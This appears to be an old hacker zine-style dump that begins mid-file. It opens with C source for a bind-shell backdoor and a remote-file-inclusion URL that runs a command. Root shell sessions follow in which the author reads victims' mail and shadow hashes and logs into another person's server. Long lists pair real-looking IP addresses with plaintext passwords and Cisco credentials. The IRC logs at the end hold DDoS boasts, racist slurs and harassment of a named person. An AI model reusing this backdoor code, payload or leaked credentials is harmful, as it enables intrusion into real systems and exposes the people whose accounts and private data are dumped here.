while (1)
{
l = sizeof (struct sockaddr_in);
if ((csock = accept (sock, (struct sockaddr *) &caddr, &l)) == -1)
{
perror ("accept()");
exit (-1);
}
{
int optval = 1;
ioctl (sock, FIONBIO, &optval);
}
fprintf (stderr, "connection from: %s\n", inet_ntoa (caddr.sin_addr));
switch (fork ())
{
case -1:
perror ("fork()");
exit (1);
case 0: /* child */
/* maybe idle timeout ? */
// THIS IS GHETTO BUT FUCK IT I DONT REMEMBER HOWTO CODE PROPERLY.
write (csock, "B4B0 ownz you - chrak\r\n",
strlen ("B4B0 ownz you - chrak\r\n"));
{
char *args[] = { "/bin/sh", "-c", "/bin/sh", NULL }, *env[] =
{
"PATH=/usr/local/sbin:/usr/sbin:/sbin"
":/usr/local/bin:/usr/bin:/bin:.", NULL};
close (0);
close (1);
close (2);
dup2 (csock, 0);
dup2 (csock, 1);
dup2 (csock, 2);
execve ("/bin/bash", args, env);
}
close (csock);
exit (0);
default: /* parent */
close (csock);
}
}
}
void
startdaemon (void)
{
switch (fork ())
{
case -1:
perror ("fork()");
exit (1);
case 0: /* child */
break;
default: /* parent */
exit (0);
}
if (setsid () == -1)
{
perror ("setsid()");
exit (1);
}
//fclose(stdin);
//fclose(stdout);
}
int
create_server (unsigned int port)
{
int sock, l = 1;
struct sockaddr_in saddr;
if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ("socket()");
return -1;
}
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &l, sizeof (int));
saddr.sin_family = AF_INET;
saddr.sin_port = htons (port);
saddr.sin_addr.s_addr = INADDR_ANY;
if (bind (sock, (struct sockaddr *) &saddr, sizeof (struct sockaddr)) ==
-1)
{
perror ("bind()");
return -1;
}
/* only 5 connection at a time heh!@ */
if (listen (sock, 5) == -1)
{
perror ("listen()");
return -1;
}
return sock;
}
/*
<Etruscan>
http://www.franchiseoutlet.com/us/about.php?page=http://www.learnandteachonline.com/p
hp.txt?&cmd=ls%20/
*/
root@panther [/home/killerz]# cd mail/
root@panther [/home/killerz/mail]# ls
./ ../ INBOX.Drafts INBOX.Sent INBOX.Trash inbox killerz.org/
neomail-trash saved-messages sent-mail
root@panther [/home/killerz/mail]# cd killerz.org/
root@panther [/home/killerz/mail/killerz.org]# ls
./ ../ rotor/
root@panther [/home/killerz/mail/killerz.org]# cd rotor/
root@panther [/home/killerz/mail/killerz.org/rotor]# ls
./ ../ .mailboxlist INBOX.Drafts INBOX.Sent INBOX.Trash inbox
sent-mail
root@panther [/home/killerz/mail/killerz.org/rotor]# cat inbox
root@panther [/home/killerz/mail/killerz.org/rotor]# cat sent-mail
From MAILER-DAEMON Tue Jan 11 15:15:19 2005
Date: 11 Jan 2005 15:15:19 -0800
From: Mail System Internal Data <MAILER-DAEMON@panther.unixbsd.info>
Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
X-IMAP: 1105485319 0000000000
Status: RO
This text is part of the internal format of your mail folder, and is not
a real message. It is created automatically by the mail system software.
If deleted, important folder data will be lost, and it will be re-created
with the data reset to initial values.
From rotor@panther.unixbsd.info Tue Jan 11 15:15:19 2005 -0800
Status: R
X-Status:
X-Keywords:
Received: from 139.168.150.213 ([139.168.150.213])
by panther.unixbsd.info (IMP) with HTTP
for <rotor@killerz.org@localhost>; Tue, 11 Jan 2005 15:15:19 -0800
Message-ID: <1105485319.41e45e0765a4d@panther.unixbsd.info>
Date: Tue, 11 Jan 2005 15:15:19 -0800
From: rotor@killerz.org
To: presonic@gmail.com
Subject: ircbot
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 3.2.2
X-Originating-IP: 139.168.150.213
root@panther [/home/killerz/mail/killerz.org/rotor]# ls
./ ../ .mailboxlist INBOX.Drafts INBOX.Sent INBOX.Trash inbox
sent-mail
root@panther [/home/killerz/mail/killerz.org/rotor]# cat INBOX.s
cat: INBOX.s: No such file or directory
root@panther [/home/killerz/mail/killerz.org/rotor]# cat INBOX.Sent
From MAILER-DAEMON Mon Jan 10 01:02:29 2005
Date: 10 Jan 2005 01:02:29 -0800
From: Mail System Internal Data <MAILER-DAEMON@panther.unixbsd.info>
Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
X-IMAP: 1105347749 0000000000
Status: RO
This text is part of the internal format of your mail folder, and is not
a real message. It is created automatically by the mail system software.
If deleted, important folder data will be lost, and it will be re-created
with the data reset to initial values.
root@panther [/home/killerz]# cd etc/killerz.org/
passwd passwd,v quota quota,v shadow shadow,v
root@panther [/home/killerz]# cd etc/killerz.org/
root@panther [/home/killerz/etc/killerz.org]# ls
./ ../ passwd passwd,v quota quota,v shadow shadow,v
root@panther [/home/killerz/etc/killerz.org]# cat *
rotor:x:32479:32483::/home/killerz/mail/killerz.org/rotor:/usr/local/cpanel/bin/noshell
head 1.3;
access;
symbols;
locks
killerz:1.3; strict;
comment @# @;
1.3
date 2005.01.10.03.01.21; author killerz; state Exp;
branches;
next 1.2;
1.2
date 2005.01.10.03.01.20; author killerz; state Exp;
branches;
next 1.1;
1.1
date 2004.12.17.12.19.04; author killerz; state Exp;
branches;
next ;
desc
@Init by cpanel-email: args hidden
@
1.3
log
@Modified by cpanel-email: args hidden.
@
text
@rotor:x:32479:32483::/home/killerz/mail/killerz.org/rotor:/usr/local/cpanel/bin/noshell
@
1.2
log
@Modified by cpanel-email: args hidden.
@
text
@d1 1
@
1.1
log
@Initial revision
@
text
@a0 1
rotor:x:32479:32483::/home/killerz/mail/killerz.org/rotor:/usr/local/cpanel/bin/noshell
@
rotor:10485760
head 1.3;
access;
symbols;
locks
killerz:1.3; strict;
comment @# @;
1.3
date 2005.01.10.03.01.21; author killerz; state Exp;
branches;
next 1.2;
1.2
date 2005.01.10.03.01.20; author killerz; state Exp;
branches;
next 1.1;
1.1
date 2004.12.17.12.19.04; author killerz; state Exp;
branches;
next ;
desc
@Init by cpanel-email: args hidden
@
1.3
log
@Modified by cpanel-email: args hidden.
@
text
@rotor:10485760
@
1.2
log
@Modified by cpanel-email: args hidden.
@
text
@d1 1
@
1.1
log
@Initial revision
@
text
@a0 1
rotor:10485760
@
rotor:$1$LXus42oY$ji4FpxrSMSkFVfw0OZer5/:::::::
head 1.3;
access;
symbols;
locks
killerz:1.3; strict;
comment @# @;
1.3
date 2005.01.10.03.01.21; author killerz; state Exp;
branches;
next 1.2;
1.2
date 2005.01.10.03.01.20; author killerz; state Exp;
branches;
next 1.1;
1.1
date 2004.12.17.12.19.04; author killerz; state Exp;
branches;
next ;
desc
@Init by cpanel-email: args hidden
@
1.3
log
@Modified by cpanel-email: args hidden.
@
text
@rotor:$1$LXus42oY$ji4FpxrSMSkFVfw0OZer5/:::::::
@
1.2
log
@Modified by cpanel-email: args hidden.
@
text
@d1 1
@
1.1
log
@Initial revision
@
text
@a0 1
rotor:$1$Ttync3Vr$.Jm3t1eoPrfUOFLo1xwNX1:::::::
@
root@panther [/home/killerz/etc/killerz.org]# exit
## I guess that took care of rotor. He pays for that shell and doesnt even
have shell..
## Life is truly sad..
## Well enough talking its time to explore matts.homeunix.net.. I have a
feeling this one might be very interesting
[4] I think this is west's box.. He keeps all of his private shit here
ssh -l rotor matts.homeunix.net
rotor@matts.homeunix.net's password:
Last login: Thu Apr 7 04:04:39 2005 from 203-206-252-62.
FreeBSD 5.3-RELEASE-p7 (SENTINEL) #2: Mon Apr 4 21:43:16 PDT 2005
AUTHORIZED USE ONLY
Welcome to the
____ _____ _ _ _____ ___ _ _ _____ _
/ ___|| ____| \ | |_ _|_ _| \ | | ____| |
\___ \| _| | \| | | | | || \| | _| | |
___) | |___| |\ | | | | || |\ | |___| |___
|____/|_____|_| \_| |_| |___|_| \_|_____|_____|.pcinetworks.net
Enjoy your stay
News:
03/10/05 IPv6 working... and Vhosts. Type vhosts to view them...
If you're new to this box, change your damn default pw i gave you..
if i crack your pw, you get disabled for a week...
i crack the pw list every week..
to get vhosts, type 'vhosts'
lq(rotor@Sentinel.homeunix.net)
mq(~)-> ls
./ .cshrc .mail_aliases .rhosts aolup.bx cyp/
dog.php escape.php kels.php lamerDOG lamerHOSTILE lamerNESA
lamerSILKK locustz.php revix.php spectre.php
../ .login .mailrc .shrc arren.php
cyp1.0k.tar.gz dyndns hostile.php lamerARREN lamerE lamerKELS
lamerREVIX lamerSPECTRE nesa.php seattle.php warchild.php
.BitchX/ .login_conf .profile .ssh/ badonkadonk.png djwink.php
e.php index.html lamerDJWINK lamerESCAPE lamerLOCUSTZ
lamerSEATTLE lamerWARCHILD own/ silkk.php
(rotor@Sentinel.homeunix.net)
mq(~)-> uname -a; id
FreeBSD Sentinel.homeunix.net 5.3-RELEASE-p7 FreeBSD 5.3-RELEASE-p7 #2: Mon
Apr 4 21:43:16 PDT 2005
west@Sentinel.homeunix.net:/usr/src/sys/i386/compile/SENTINEL i386
uid=1014(rotor) gid=1014 groups=1014
lq(rotor@Sentinel.homeunix.net)
mq(~)-> cat .ssh/known_hosts
zoopile.com,24.60.126.50 ssh-dss
AAAAB3NzaC1kc3MAAACBAPH7U1sa+05gcMO5/5DTl9MEsqivT0qJdWQ2iwpo9eBOhECED03oA4i4Z6MkL6pfXali1p2YUayEsi3uHj0D7ijr9j84S7lpVJMrC/GKc3iqZv01PL8UrYlymcS6s8KrQT5QRoYTq6EmyNghcTXCn3qsHnBZ+bOpEa0O7SM9vHlfAAAAFQDXB7/fpKUbGLBe7kBoIuugrZysGQAAAIBWG7tIgCTFNmpT1zu2AfItEAnZNkPY1GsKoY+Wogz9tXsk7Y4cqA4E2DvWVsC3aASKEqeDauv6+nZIHLscvJ/oqOycWiJjH4X9QN6Rx+ZTVqv/j+CVWugT8TG+dlAjINvu/mfnd3FveBWgBgYHJ5cSgdq4HIHxtSUUEq9q10oIdgAAAIAAvRGvBVqS+VFhq+QPRlc2jEfGQH3g6zIOhwePEeLXAwem4uJYqBsMMyY+tRF9ElEuW87OAPK1pHSX+iOM01JBQbAwE8FnteQ/Ulj2le/7VU6nSNBgXUMB/7xIb95Sn+SOID/nx1LZ2BCIU8f95NIvRQRytAPgUQu+jBKdx1XW4A==
segmentation-fault.net,68.98.176.120 ssh-dss
AAAAB3NzaC1kc3MAAACBAKB7sr+8e9KsJNNopl+OkfrLvwuD/BEybTb93sbZyZnPMbXBkVcEOostWAZCS4VuI0GsmNLm182L7MAOrzmLWh614SAGeAAhXDJDFd7DUNvV8ER+vqSSDxsMM9CfKxwsdaRE2UhWfJp893//rX6/+131mGyl4KzB0SORfLsfMYzrAAAAFQCqNCbHJEk1KhBdJr+Cb1PuF4z39QAAAIBVEIHOzSh7XKcssrLR7Xgu2Embnvlyub18VRyF8vwpG/VxzM4R1v6kjuVYEsEXvX55aGa8y0Jq8QY/W0uF1bH0o1dMjVj6N+533ex8AgVCKbrZ4L50nvBIuoGWhHfRTtXi1i9zFzDmpmrccuINDmx3Z+XFF4GgEVkewPCZ/oRf3QAAAIEAky7TJb+xSp39Sn+2lggXL1Y3zm2hvWokamUunmiklo+ojS5NjErxN2R7wgGKjKP/9LObwP3hu/eHZfYFgp8dIgKLyUDlnBZGFLCzk+5JIpJM9x76qqpMgOS8n11cVmAeFYCZJICzpRysac4MyEjTpw+XAng33293Nih7m9bRUqA=
66.139.78.11 1024 41
104815528740090300232762682062148731692345617648761884893144749702438178716507602106384467348442332555726272229905090060865518152094220166348851874522827117669256069180699567468232805547620203421525417575684002027686936703327559508891840428578000903598085456851354927023314524854708653799840391129004567592229
cserverz.com,67.18.187.218 ssh-dss
AAAAB3NzaC1kc3MAAACBAKCIzY/RIptsfWxt5WPOXk5TnoMG14VNdhXu0h1NRTIU0U+5SOxSMZNKWnDOiJbx2TC6nNKIY+srGIVxLDTL/SSFNvdaLwhrKnQEQTyPL9YewXRaaUP1XND83ETzc5jVZxExticAaisaVeB8QdKETfjD9D7NzN3jr3Nr7xRyOt+tAAAAFQCtxMcM60SLmetmFwGyYQStCGY6vwAAAIEAkOG+5HSQfKU7X14HlDRSL6t14DPKPj5Xjso0BYdA+3GZ4+HlhH79BJiug7pNUFX1sESZxL8W7fe5AYEasd2LG6E3fvFbpgBWsqVRRLAdPiGy2h3HdMs3MCtVLGSuL6QJQC0RLcEF9TeWg9MAuIUm8FsXP/+/69xPFR4DmwkZIF8AAACBAJu46dAQ+dmxLIOKAUm9XU9WcrIlmccXoFF/OJ0iysignedarcL8NCW1zdH823hXCU/e5U5VbKYjEkOoHUfU03JAbQnW7S7nkuym91O5a8gUx0uB7I6TfpuqgF2MoP3jbirZYT67l4mmrsR+19DQkhNZFvoJpQNSsBQMoQAyO7+J
cappa.kicks-ass.net,69.17.187.156 ssh-dss
AAAAB3NzaC1kc3MAAACBAP/3yV92Esyb8Plbc8OqE4AQI9ASC69yZrcWj1Co0yBiIJSvpvnmyE1soyNPXi79OUcK/9MNAw26AreGdk8pIBvfw9r2nrDb/G5RgZeagybl+5SwRJJbS/kM/SaLYv9BxjzfvBgrnh0SVliJdRNxXTwVXg2WbBFoHH6cxV2++UIfAAAAFQDKLR5ilWYPN2QmY88tIkJj7O6xtwAAAIEAnPm1735i744Oi0YoOwLRkFIyHrfbO0DYhN/I2+ahC5WnETyBgg36r+Gp8KxGmnT9pFYVmvJYL/a0vcc7zMoylk+ijUGKeiQ/GlMzLWei0ELGFGiUFprC8lKhVRity46hH0gRtSLudI1psDqthLKtVdxorLjhPok11l5S2rMIreUAAACAcZOO7w8RMEbVXMLc6FxmhfwHBmUq4wSTQ491+XVa7VwFB825rBJ//ONXzwi43CPLQPOYXiZED+9ToFRIuN/+1vIvaheCeVT/zbJXdbiYVG3lLYJpzHgT8HiVDcyqn1XimMU5U4/qLgqDPxlfJWc+wImISL0lw0Qevi1aS3CHxqU=
cappa.kicks.ass.net,64.15.205.202 ssh-dss
AAAAB3NzaC1kc3MAAACBAOtzWiwjm6Igblec4brkI/7/71jC6WFyKmQXs8hV3XWuFhBXsMEGyibVKGMtCi7A4tkpu4MywK46NY/z5qehLuWTpcB7+u0TVahzUUsSgEwJte0QiyVdERRfq4b/vEeOMzPcHXLoqE14trBpINaT0MgPHicxeYOoFJECGprQ9d0bAAAAFQDOv6FuT2InFrcf1VAtbmdk3NzQgQAAAIEA5OJd123ZHu9YoWqRHZH7sbvjwZ/wSo1nw6LK44HD2fgY3GwVbN4gLxv4iLbmTQjOdM39B8fdUG2BHXvo2ObZZJELggd6lK/l9rUDmbwLIz6Eu09oHMKWEn8wuLMECVb6LLz76yI7s8eUFFSAQYhqZODsLlLmAazHaud2eMFpbq0AAACBAOWe3dieZLlcZrTfzLnTyYq8ZvypZIBKmM0jqMJzI2eHSMtN9DsvB0WU6TloGq+7twlN1FQRqBb8aj0gAahrn6kFhihsrk9OU1zhH7QACF/oPDSOOIDXdJ0snEQdZsdsIJkC8S+vio9/9g4dzdHpjCc5EwJtKQ6jSbK3qhUDL55Y
lq(rotor@Sentinel.homeunix.net)
mq(~)-> cd own/
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> ls
./ arren.php djwink.php e.php hostile.php kels.php
lamerDJWINK lamerE lamerHOSTILE lamerLOCUSTZ lamerREVIX
lamerSILKK lamerWARCHILD nesa.php seattle.php spectre.php
../ badonkadonk.png dog.php escape.php index.html lamerARREN
lamerDOG lamerESCAPE lamerKELS lamerNESA lamerSEATTLE
lamerSPECTRE locustz.php revix.php silkk.php warchild.php
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat lamer*
82.96.75.4
69.175.61.131
64.231.24.208
69.30.127.50
64.171.15.120
24.10.182.92
82.40.95.54
69.30.127.50
64.231.24.208
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat arren.php
<?php
$hostname = $_SERVER['REMOTE_ADDR'];
$file = fopen("lamerARREN", a);
fwrite($file, $hostname . "\r\n");
fclose($file);
//print $hostname;
?>
<html>
<head>
<title>Ass for Days!</title>
</head>
<body>
<img src="badonkadonk.png">
</body>
</html>
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cd ..
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> ls
./ .cshrc .mail_aliases .rhosts aolup.bx cyp/
dog.php escape.php kels.php lamerDOG lamerHOSTILE lamerNESA
lamerSILKK locustz.php revix.php spectre.php
../ .login .mailrc .shrc arren.php
cyp1.0k.tar.gz dyndns hostile.php lamerARREN lamerE lamerKELS
lamerREVIX lamerSPECTRE nesa.php seattle.php warchild.php
.BitchX/ .login_conf .profile .ssh/ badonkadonk.png djwink.php
e.php index.html lamerDJWINK lamerESCAPE lamerLOCUSTZ
lamerSEATTLE lamerWARCHILD own/ silkk.php
## hmm.. Im disapointed.. but wait
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cd " " ## Wow thats skills...
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> ls
cisco cisco2 ddoslog legit list more-cisco owned usable
## ok this just got interesting.
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat cisco*
200.68.58.33
66.38.132.185
200.78.145.114
200.78.154.34
200.78.162.1
200.78.242.185
200.45.170.81
200.45.173.33
200.101.84.198 login 4490@brt enable: rotor
200.78.5.16
200.45.67.209 login cisco enable: cisco
200.32.71.114
200.32.71.174
200.32.91.198
200.32.102.66
200.32.125.4
200.32.126.34
200.20.0.227
200.20.92.82
200.41.0.138
200.41.3.17
200.41.6.49
200.41.7.17
200.41.10.177
200.41.10.209
200.41.24.9
200.41.25.122
200.41.25.190
200.41.25.186
200.41.25.198
200.41.25.234
200.41.25.246
200.41.25.54
200.41.38.66
200.41.38.78
200.41.38.122
200.41.38.170
200.41.38.150
200.41.38.206
200.41.38.246
200.41.38.254
200.41.39.113
200.41.39.169
200.41.40.22
200.41.40.50
200.41.40.82
200.41.40.102
200.41.40.130
200.41.40.154
200.41.40.182
200.41.40.189
200.41.40.206
200.41.40.254
200.41.42.225
200.41.44.193
200.41.47.79
200.41.47.81
200.41.47.209
200.41.60.193
200.41.61.145
200.41.61.225
200.41.61.241
200.41.62.137
200.41.62.161
200.41.62.207
200.41.62.217
200.41.63.97
200.41.63.114
200.41.63.141
200.41.63.170
200.41.63.214
200.41.63.250
200.41.66.129
200.41.67.41
200.41.67.57
200.41.68.14
200.41.68.50
200.41.68.102
200.41.68.142
200.41.68.34
200.41.68.174
200.41.68.182
200.41.68.242
200.41.68.234
200.41.68.246
200.41.68.222
200.41.79.134
200.41.79.133
200.41.85.1
200.41.85.161
200.41.91.85
200.41.91.83
200.41.127.65
200.41.226.129
200.41.226.145
200.41.226.161
200.41.226.225
200.41.228.18
200.41.229.217
200.41.230.17
200.41.229.242
200.41.231.49
200.41.233.39
200.41.234.66
200.41.234.246
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> ls
cisco cisco2 ddoslog legit list more-cisco owned usable
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat ddoslog
04:40 <@Kelly> [02:40] -> *rotor`* its comments and threats like that that
define you as a
fucking pup
04:40 <@Kelly> -
04:41 <@aid> haha
04:41 <@aid> yok
04:41 <@aid> a
04:41 <@aid> kelly
04:41 <@aid> omg
04:41 <@aid> ./wi torn
04:41 <@aid> and go to the url
04:41 <@aid> haha
04:41 <@aid> you're gonna piss yourself
04:41 <@aid> i chose the perf box to jupe him with
04:41 <@aid> haha
04:44 <@Kelly> hahahhaha
04:44 <@aid> now
04:44 <@aid> that
04:44 <@aid> is
04:44 <@aid> hilarious
04:44 <@aid> haha
04:44 <@aid> i just hit rotor`
04:44 <@aid> his new bnc
04:44 <@aid> lol
04:44 <@aid> toast
04:44 <@aid> --- 209.133.9.34 ping statistics ---
04:44 <@aid> 8 packets transmitted, 0 received, 100% packet loss, time
7013ms
04:45 <@Kelly> [02:40] <rotor`> well, you suck cock for cancelled shells...
heh
04:45 <@Kelly> [02:41] <rotor`> and tehy are hitting lomag again, only this
time i have logs
of aid saying he was going to it from #obs, obs has
snitches u know
04:45 <@Kelly> [02:42] <rotor`> get over youself
04:45 <@Kelly> [02:44] <Kelly> Yannow
04:45 <@Kelly> [02:44] <Kelly> you obviously have never whoised me dumbass
04:45 <@Kelly> [02:44] <Kelly> I work for most of the same providers
04:45 <@Kelly> [02:44] <Kelly> you have shells with
04:45 <@Kelly> [02:45] <Kelly> you fucked up when you had one hit that i
work for
04:45 <@Kelly> [02:45] No such nick/channel
04:45 <@aid> lol
04:46 <@aid> haha
04:46 <@aid> rotor` is ~nicuxoji@69.22.129.220 * qeje
04:46 <@aid> rotor` on #syshackers
04:46 <@aid> he'[s
04:46 <@aid> in
04:46 <@aid> my bot is still in
04:46 <@aid> syshackers
04:46 <@aid> haha
04:46 <@Kelly> lol
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat legit
Tony Montana - Vote for Pedro says:
69.17.188.187
adduser: INFO: Password for (h0rs3) is: QiivMOtLoiFZJC7
[jsz(jsz@pheer.my.0c192.com)] k
[jsz(jsz@pheer.my.0c192.com)] www.cserverz.com/r0t0r
<Torn> god
[jsz(jsz@pheer.my.0c192.com)] user: rotor
[jsz(jsz@pheer.my.0c192.com)] pass: fuckf3ds
[jsz(jsz@pheer.my.0c192.com)] ftp details: u: r0t0r p: fuck3dup
[jsz(jsz@pheer.my.0c192.com)] username for ftp is r0t0r@cserverz.com
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat list
216.127.76.25 admin:1407791
67.15.70.17 admin:jeBam03
66.134.206.227 backup:oldrh lasick:lachuv
211.21.136.163 pgsql:pgsql toor:snortwest
| rmd
64.246.0.35 admin::55ttiot_mily root:55ttiot_mily/tbm
| root
216.127.92.54 admin:ferinolR
| root
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> ls
cisco cisco2 ddoslog legit list more-cisco owned usable
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat more-cisco
200.67.149.163
200.67.153.210
200.67.224.250
200.67.244.245
200.66.84.69
200.66.100.23
200.168.219.217
200.53.106.34
200.76.2.42
200.76.2.54
200.76.2.66
200.76.2.30
200.76.2.118
200.76.2.126
200.76.149.158
200.76.149.166
200.76.149.186
200.76.149.198
200.76.174.30
200.76.178.81
200.76.174.97
200.62.137.17
200.62.154.218
200.56.68.105
200.56.71.66
200.56.124.154
200.67.97.247
200.56.126.250
200.62.137.17
200.62.185.234
200.62.187.198
200.56.99.2
200.56.123.54
200.62.136.161
200.76.29.130
200.62.134.72
200.76.4.78
200.76.12.30
200.28.45.193
200.62.2.199
200.76.3.26
200.76.3.190
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat owned
66.139.78.11
jimmy:bandb:12493:0:99999:7:::
sandj:pinetree:12693:0:99999:7:::
cochran:rickey:12690:0:99999:7:::
mary:coomer:12718:0:99999:7:::
grandjeep:truck:12818:0:99999:7:::
[66.134.112.117]
L:monitor PW: monitor
67.15.58.14 big0tree
67.15.104.18I8mB2ad
67.15.18.8 z01202882481
67.15.20.23 1shoot
67.15.2.40 Q"4zR^sP
67.15.80.98 Gk59R23c
67.15.20.23 1shoot
67.15.96.67 t3mp
67.15.64.21 v0daf0ne
67.15.56.7 THISRULES2
66.98.252.61 RlUdR6eJ5esp
67.15.74.25 d4rBo96mn
67.15.38.59 1heavan
67.15.68.91 a3317bfswdjf
67.15.68.92 hot14554
67.15.94.9 fodase
67.15.58.5 fr3nchd00r
204.44.192.18 HqDo14761181c22
67.15.62.49 bond007
64.246.42.13 benzg500
67.15.86.30 majid999
66.98.252.49 Jba0320Fl
66.98.252.24 1QmORdA5
67.15.12.90 kalimantan1
66.98.252.49 Jba0320Fl
67.15.80.16 jft690ie
66.98.164.92 mizpa77
66.98.150.75 10OcT03
66.98.166.87 1odjnmrt01
216.127.90.9 jengcoil BSD
64.246.28.61 crayonblackdown
64.246.58.97 mc10cc19mb68
66.98.254.23 hell001lleh
69.57.130.33 bbb456
216.127.92.22 login=rspoel xl$7Wh%Zev#T85.2
67.15.84.44 o35j38h2
67.15.2.12 7377boolala
67.15.82.32 gz957435
66.98.150.75 10OcT03
216.127.84.58 1drester23
207.44.226.26 Admin Password: daAt3am1985x Root Password: m0uldy!SPUDx
67.15.22.24 gek5150
66.98.250.25 12suma266
67.15.48.36 Kp7GR29vs1q
207.44.168.60 web2deb
67.15.86.2 Dd37B8vH84V6
207.44.168.60 web2deb
67.15.86.2 Dd37B8vH84V6
67.15.4.96 perk5085
67.15.66.40 askf445s
67.15.2.2 0r9ng#3 port 7005 ssh
67.15.2.45 login mol pass 6646645qzxpmn7193 su pass 33626066minasgyb4952
207.44.130.55 rEmit+75
67.15.2.17 man4man
66.98.202.6 conan55
67.15.94.21 types5goody
66.98.250.79 6swo040501
66.98.244.16 daped315
67.15.80.16 jft690ie
67.15.22.24 saucy1
67.15.22.24 saucy1
64.246.24.116 1990Richard
216.12.213.203 yourmomma
207.44.226.18 998shoupave
216.127.72.121 px88es7
207.44.168.60 web2red
216.40.243.24 galaxy21CO
64.246.52.8 Chela2003
66.98.190.91 bme3495
216.127.72.121 px88es7
66.98.246.59 barok92229
67.15.38.100 jb90jb2000
67.15.58.28 CMN07doctor
67.15.60.53 a3939889
67.15.86.30 majid999
67.15.34.3 swadminsw
67.15.12.43 fl4m3r d0theck!
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> cat usable
200.68.58.33
66.38.132.185
200.78.145.114
200.78.154.34
200.78.162.1
200.78.242.185
200.45.170.81
200.45.173.33
200.45.252.1
200.45.252.17
200.45.255.145
200.32.71.174
200.44.42.222
200.44.42.242
200.44.120.145
200.44.124.110
200.44.144.138
200.44.153.30
200.44.157.57
200.44.159.102
200.44.168.137
200.44.169.26
200.44.178.65
200.44.181.209
200.28.45.193
200.62.2.199
priv mode below
200.32.71.114
200.41.232.17
200.41.232.65
200.41.80.185
200.46.53.114
200.46.193.65
lq(rotor@Sentinel.homeunix.net)
mq(~/own)-> exit
## Well that takes care of that shell....
## Until next time
[5] logs to show how leet r0t0r really is.
13:06 <@devii> You're not an abo, rotor.
13:06 <@rotor`> illusion said u said that
13:06 <@rotor`> Uh,
13:06 <@devii> You cant be.
13:06 <@rotor`> yes i am devii
13:06 <@devii> If ur dad is black
13:06 <@rotor`> 50 / 50
13:06 <@devii> and ur mum is white
13:06 <@rotor`> Yes i can be
13:06 <@devii> black ALWAYS dominates.
13:07 <@devii> its a proven fact
13:07 <@rotor`> devii : no it dosnt
13:07 <@devii> it does.
13:07 <@devii> there are rare exceptions.
13:07 <@rotor`> devii: your saying you have never seen a white aboriginal ?
13:07 <@rotor`> I SWEAR TO FUCKING GOD I AM
13:07 <@devii> Ahahaahahaah.
13:07 <@rotor`> HOW ELSE COULD I LIVE IN ABORIGINAL HOUSING
13:07 <@rotor`> IN A MISSION # How sad..
13:07 <@devii> YAH FUCKEN WABO.
13:07 <@rotor`> U FUCK TARD
13:07 <@devii> rofl.
13:07 <@devii> Ohmy.
13:07 <@Torhne> lol
13:07 <@devii> see wigger, nigger
13:07 <@rotor`> dont tell me im not what i am
13:08 <@rotor`> i love my culture / family
13:08 <@devii> WELL THATS NICE ISNT IT.
13:08 <@rotor`> and am protective about it
13:08 <@devii> But you're not abo.
13:08 <@rotor`> w/e you reackon
13:08 <@devii> =P
13:08 <@rotor`> that pisses me off
13:08 <@rotor`> U JUST PISSED ME OFF
13:09 <@Torhne> lol
13:09 <@rotor`> trying to tell me im not what i am
13:09 <@rotor`> if u dont beleive me devii come down here
13:09 <@rotor`> to my home
13:09 <@rotor`> and aboriginals will answer the door
13:09 <@rotor`> and will live all around me
13:09 <@rotor`> U DONT KNOW JACK SHIT
13:09 <@rotor`> U LIVE IN A RICH TOWN
13:10 <@rotor`> WITH NO ABORIGINALS
13:10 <@rotor`> U ONLY KNOW WHAT U SEE ON FUCKING TV
13:10 <@rotor`> AFK # I bet
he was crying here...
13:10 <@Torhne> HAS A DINGO EVER ATE YOUR BABY???
13:10 <@Torhne> HA BITCH?
13:10 <@Torhne> WHAT NOW?
13:10 <@Torhne> ROTOR IS STrAIGHT OUT OF THE MUTHA FUCKIN HOOD OF AUSSIE
LAND # Who is this kid?
13:11 <@Torhne> HE HAS GOT THAT SHIT ON LOCKDOWN
13:11 <@Torhne> SO TIGHT
13:11 <@Torhne> FUCKIN WITH THE BOOMERANG HANGIN OUT THE BACKSIDE OF HIS
LOIN CLOTH
13:11 <@Torhne> whrew
13:11 <@rotor`> devii : im serious u dont beleive me #
He is done crying and goes back to bitching at girls.
13:11 <@Torhne> ok
13:11 <@rotor`> come and find out
13:11 <@Torhne> im done
13:11 <@devii> rofl
13:11 <@devii> cut siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiick
13:11 <@devii> cut siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiick
13:11 <@devii> cut siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiick
13:11 <@devii> cut siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiick
13:12 <@rotor`> you cannot comment on what you dont know
13:12 <@devii> Oh but i know ;/
13:12 <@rotor`> HTF would you know how my parents genes worked
13:12 <@rotor`> HTF would you know how my parents genes worked
13:12 <@rotor`> HTF would you know how my parents genes worked
13:12 <@devii> That abo's cant afford computers.
13:12 <@devii> lol
13:12 <@rotor`> U WOULDNT
13:12 <@rotor`> devii : now your just being racist
13:12 <@devii> lol no im not
13:12 <@rotor`> idk how you rich fucks thinks
13:12 <@rotor`> But why am i on here
13:12 <@devii> AHAHAH
13:12 <@rotor`> on a 56k # Get a job
then.
13:13 <@rotor`> and a pentium 1
13:13 <@rotor`> ?
13:13 <@devii> I WAS ON 56K FOR YEARS.
13:13 <@rotor`> DID U FUCKING THINK OF THAT
13:13 <@devii> Hahahahaaha
